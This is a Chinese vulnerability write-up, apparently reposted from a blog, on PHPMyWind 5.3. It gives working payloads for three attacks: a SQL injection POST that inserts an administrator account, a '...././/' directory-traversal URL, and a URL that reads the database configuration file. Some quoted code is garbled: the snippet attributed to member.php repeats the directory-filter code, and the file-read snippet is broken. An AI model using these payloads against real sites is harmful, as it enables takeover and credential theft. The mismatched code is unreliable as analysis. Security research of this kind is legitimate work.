phpmywind最新版sql注入以及后台目录遍历和文件读取

最新版本 5.3
看wooyun厂商这忽略的架势就觉得是有点放弃治疗的想法啊。

前台会员注入

分析

http://www.wooyun.org/bugs/wooyun-2015-0117008
我看了一下最新版还有这个注入,而作者给的exp有坑处。

这是一个完善账号的功能,在核心文件里面,这个程序用了伪全局,也就导致可以给未初始化的变量赋值。
member.php文件

if(empty($dirname) or $dirname=='uploads/')
{
        $dirname = 'uploads/';
        $dirhigh = 'javascript:;';
        $dirtext = '当前是根目录';
}
else
{
 
        $dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));   //出问题的地方
        $dirname = htmlspecialchars($dirname);
        $dirhigh = '?dirname=';
        $dirtext = '返回上一层';
        $dirarr = explode('/', $dirname);
        $curnum = count($dirarr)-2;
        for($i=0; $i<$curnum; $i++)
        {
                $dirhigh .= $dirarr[$i].'/';
        }
}

看这个if,也就直接不然它check_app_login到是qq或者是微博就直接进入ExecNoneQuery的查询。加上可以直接赋值导致sql漏洞出现。

利用

先注册一个账号,testaa,123456,登录后。
访问:
http://10.211.55.3/phpmywind/PHPMyWind_5.3/member.php?a=perfect
并post:

username=123123a123x&password=a123123123&repassword=a123123123&email=a12312@qq.com&sql=insert into pmw_admin (`username`,`password`,`levelname`) values((1231235),0x6333323834643066393436303664653166643261663137326162613135626633,1)

wooyun那个exp没有加上levelname,以及那个password说是md5一次。
这里password是admin,先经过两次md5,再hex(有过滤),这样就能得到一个管理员权限的账号。

目录遍历

/admin/upload_filemgr_dir.php文件

if(empty($dirname) or $dirname=='uploads/')
{
        $dirname = 'uploads/';
        $dirhigh = 'javascript:;';
        $dirtext = '当前是根目录';
}
else
{
 
        $dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));   //出问题的地方
        $dirname = htmlspecialchars($dirname);
        $dirhigh = '?dirname=';
        $dirtext = '返回上一层';
        $dirarr = explode('/', $dirname);
        $curnum = count($dirarr)-2;
        for($i=0; $i<$curnum; $i++)
        {
                $dirhigh .= $dirarr[$i].'/';
        }
}

$dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));
这些过滤为空,并没有用循环去过滤,所以就很容易出问题。
由于这个是先过滤了../,再过滤./
所以可以构造一下...././/,这样经过滤后就能得到../字符导致目录遍历。

http://10.211.55.3/phpmywind/PHPMyWind_5.3/admin/upload_filemgr_dir.php?dirname=uploads/...././/...././/

文件读取

/admin/editfile_update.php文件

 0)
                {
                        $content = fread($fp, filesize($dir.$filename));
                        $content = str_replace("alert("您所编辑的文件不存在!");location.href="editfile.php"';
        }
}
?>

其实这个和第一个注入有点相似。if($action == 'update')
直接不进入这个判断就可以导致后面代码的执行以至于文件读取,直接读取db配置文件。

http://10.211.55.3/phpmywind/PHPMyWind_5.3/admin/editfile_update.php?filename=/include/conn.inc.php

转载于:https://www.cnblogs.com/iamstudy/articles/phpmywind_v5-3.html

你可能感兴趣的:(phpmywind最新版sql注入以及后台目录遍历和文件读取)